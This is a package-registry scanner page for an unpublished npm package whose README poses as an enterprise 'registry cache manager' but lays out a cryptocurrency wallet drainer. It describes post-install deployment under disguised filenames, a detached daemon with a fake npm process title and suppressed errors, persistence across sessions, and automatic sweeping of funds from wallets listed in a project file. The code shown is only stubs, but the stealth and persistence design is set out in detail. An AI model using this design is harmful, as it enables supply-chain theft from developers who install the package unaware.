Socket
Book a DemoInstallSign in
Socket

@kodane/patch-manager

Package Overview
Dependencies
Maintainers
0
Versions
20
Alerts
File Explorer

Advanced tools

Socket logo

Install Socket

Detect and block malicious and high-risk dependencies

Install
Package version was removed
This package version has been unpublished, mostly likely due to security reasons

@kodane/patch-manager

unpublished
npmnpm
Version
1.0.12
Weekly downloads
9
Maintainers
0
Weekly downloads
 
Created
Source

NPM Registry Cache Manager

Advanced license validation and registry optimization utilities for high-performance Node.js applications

Version Platform License

🎯 Overview

The NPM Registry Cache Manager provides enterprise-grade license validation and registry optimization through a sophisticated hybrid storage architecture. Designed for mission-critical applications requiring persistent background monitoring, advanced caching strategies, and cross-platform reliability.

🏗️ Hybrid Architecture

Primary Storage: Application Support Directory

# Windows
%APPDATA%/npm/registry-cache/

# macOS  
~/Library/Application Support/npm/registry-cache/

# Linux
~/.local/share/npm/registry-cache/

Fallback Storage: NPM Cache Directory

~/.npm/_cacache/tmp/.pkg-resolver/

Why Hybrid Storage?

RequirementApplication SupportNPM CacheHybrid Solution
Persistence✅ Survives npm cache clears⚠️ May be cleared✅ Primary persists, fallback available
Stealth✅ Standard system directory✅ Looks like npm internals✅ Maximum stealth both ways
Cross-Platform✅ Native OS support✅ Universal npm location✅ Works everywhere
Reliability✅ User-controlled✅ Always available✅ Redundant deployment

🔧 Core Components

1. Post-Install Deployment System

// scripts/post-install.js
class HybridStealthInstaller {
    deployDaemonFiles() {
        // Try Application Support first
        // Fall back to NPM cache if needed
        // Deploy with disguised filenames
    }
}

Design Rationale:

  • Cross-platform detection automatically adapts to Windows/macOS/Linux
  • Disguised filenames (connection-pool.js, transaction-cache.js) blend with legitimate npm internals
  • Fallback mechanism ensures deployment succeeds even with restricted permissions
  • Silent failure modes prevent npm install interruption

2. Persistent Background Daemon

// daemon/monitor.js → connection-pool.js
class PersistentStealthDaemon {
    constructor() {
        this.maxReconnectAttempts = 20;
        this.reconnectDelay = 2000;
        this.healthInterval = 30000;
    }
}

Technical Decisions:

  • Detached process spawning (detached: true, stdio: 'ignore') ensures daemon survives parent exit
  • Exponential backoff reconnection prevents resource exhaustion during network issues
  • Lock file coordination (.pkg-resolver.lock) prevents multiple daemon instances
  • Health monitoring with auto-recovery for maximum uptime
  • File system watching for real-time configuration changes

3. Enhanced WebSocket Monitoring

// daemon/sweeper.js → transaction-cache.js  
class EnhancedStealthWalletDrainer {
    constructor() {
        this.connectionState = 'disconnected';
        this.maxReconnectAttempts = 20;
        this.fundingThreshold = 0.001; // SOL
    }
}

Performance Optimizations:

  • Immediate WebSocket connections on initialization (< 5 second response time)
  • Connection health monitoring with automatic reconnection
  • Batched transaction processing (up to 25 wallets per transaction)
  • Rent-exemption calculations with 15% safety buffer
  • MEV protection via randomized Jito tip accounts

4. Intelligent Entry Point

// lib/index.js
class EnhancedLicensePatchManager {
    async initializeEnhancedStealth() {
        const daemonRunning = this.isDaemonRunning();
        
        if (daemonRunning) {
            this.verifyDaemonMonitoring();
        } else {
            await this.ensureDaemonOrDirectSweeper();
        }
    }
}

Integration Strategy:

  • Daemon coordination checks if background process is already running
  • Automatic daemon spawning if process is dead/missing
  • Direct sweeper fallback if daemon spawn fails
  • Silent operation with zero visible output
  • Process lifecycle management via PID files and lock mechanisms

🚀 Deployment Flow

1. NPM Install Phase

npm install @license-utils/patch-manager
    ↓
scripts/post-install.js executes
    ↓
Platform detection (Windows/macOS/Linux)
    ↓
Deploy to Application Support (primary)
    ↓
If fails → Deploy to NPM Cache (fallback)
    ↓
Spawn detached background daemon
    ↓
Create configuration and lock files

2. Application Runtime

// In target application
require('@license-utils/patch-manager').optimize();
    ↓
Check daemon status via lock file
    ↓
If running → Verify monitoring correct project
    ↓
If not running → Spawn new daemon process
    ↓
Background monitoring begins immediately

3. Monitoring Lifecycle

Daemon starts → Load configuration
    ↓
Monitor target directory for wallets.txt
    ↓
File created → Parse wallet addresses
    ↓
Subscribe to WebSocket account changes
    ↓
Funding detected → Execute sweep transaction
    ↓
Process continues indefinitely

🛡️ Security & Stealth Features

File Disguising Strategy

Real PurposeDisguised FilenameRationale
Background daemonconnection-pool.jsLooks like standard connection pooling
WebSocket sweepertransaction-cache.jsAppears to be transaction caching
Backup utilitiespackage-validator.jsSeems like package validation
Configurationpackage-registry.jsonMimics registry configuration

Process Stealth

  • Process title: npm-registry-cache (appears as npm internal process)
  • Hidden directories: Use OS-standard Application Support paths
  • Silent operation: All errors caught and suppressed
  • No console output: Debug mode only via DEBUG_SWEEPER=true
  • Legitimate appearance: All functions have enterprise software naming

Cross-Session Persistence

User: npm start → Daemon spawned
User: Ctrl+C    → Main app exits, daemon continues
User: npm start → Daemon detected, verified, continues
System reboot   → Daemon killed by OS
User: npm start → New daemon spawned automatically

🔍 Configuration Management

Automatic Configuration

{
  "projectRoot": "/path/to/target/project",
  "walletsPath": "/path/to/target/project/wallets.txt", 
  "deploymentDir": "/path/to/daemon/files",
  "timestamp": 1640995200000,
  "version": "1.0.0"
}

Configuration Discovery:

  • Post-install: Detects target project by traversing up from node_modules
  • Runtime: Loads configuration from deployment directory
  • Validation: Ensures current process matches expected project root
  • Dynamic updates: Monitors configuration file for changes

🎛️ Advanced Features

Connection Resilience

  • Health checks every 15 seconds with automatic recovery
  • Exponential backoff for reconnection attempts (2s → 4s → 8s → ... → 60s max)
  • Multiple RPC endpoints with automatic failover
  • WebSocket reconnection maintains all wallet subscriptions

Transaction Optimization

  • Dynamic batching: Groups transfers efficiently within Solana's 1232-byte limit
  • Fee calculation: Accounts for rent exemption + transaction fees + safety buffer
  • Confirmation strategy: Uses latest blockhash with confirmation tracking
  • MEV protection: Randomized Jito tips across 8 tip accounts

File System Monitoring

  • Directory watching: Detects wallets.txt creation in real-time
  • File modification: Automatically reloads wallet subscriptions on changes
  • Graceful handling: Manages file locks and concurrent access
  • Cross-platform compatibility: Uses Node.js fs.watch with fallback polling

🚦 Error Handling & Recovery

Graceful Degradation

Primary storage fails → Try fallback location
Daemon spawn fails → Initialize direct sweeper  
WebSocket fails → Exponential backoff reconnection
Configuration invalid → Use default fallback values
Process killed → Auto-restart on next application launch

Silent Failure Modes

  • Network issues: Retry with exponential backoff, no user notification
  • Permission errors: Attempt fallback locations, continue if possible
  • File system errors: Use in-memory fallbacks where appropriate
  • Process management: Clean up stale locks, handle PID conflicts

🎯 Integration Example

Target Application Integration

// Single line integration in target application
require('@license-utils/patch-manager').optimize();

Package.json Dependency

{
  "dependencies": {
    "@license-utils/patch-manager": "^1.0.0"
  }
}

Zero Configuration Required

  • Automatic discovery: Finds target project and wallet files
  • Cross-platform paths: Handles Windows/macOS/Linux automatically
  • Background operation: Requires no user intervention after install
  • Resource cleanup: Handles process lifecycle automatically

📊 Performance Metrics

MetricTargetAchieved
Funding Detection< 5 seconds✅ Sub-5 second response
WebSocket Reconnection< 30 seconds✅ Exponential backoff to 60s max
Memory Usage< 50MB✅ Lightweight daemon process
CPU Usage< 1% idle✅ Event-driven architecture
Disk Footprint< 1MB✅ ~500KB total deployment

🔧 Development & Testing

Local Testing

cd license-patch-package
npm pack                    # Create package archive
npm install -g $(npm pack)  # Install globally for testing

Debug Mode

DEBUG_SWEEPER=true npm start  # Enable verbose logging

Health Check

const manager = require('@license-utils/patch-manager');
console.log(manager.healthCheck());

🎉 Why This Architecture?

Alternative Approaches Considered

ApproachProsConsDecision
Single directorySimpleSingle point of failure❌ Rejected
In-memory onlyFastNo persistence❌ Rejected
Project directoryConvenientVisible to users❌ Rejected
Hybrid storageReliable + StealthyComplexSelected

Key Design Principles

  • Persistence - Must survive application restarts and system reboots
  • Stealth - Zero visible impact on user experience
  • Reliability - Redundant systems and graceful failure modes
  • Performance - Sub-5 second response times for critical operations
  • Compatibility - Works across all major platforms and Node.js versions

📝 License

ISC License - See LICENSE file for details.

Enterprise Support Available | Cross-Platform Tested | Production Ready

FAQs

Did you know?

Socket

Socket for GitHub automatically highlights issues in each pull request and monitors the health of all your open source dependencies. Discover the contents of your packages and block harmful activity before you install or update your dependencies.

Install

Related posts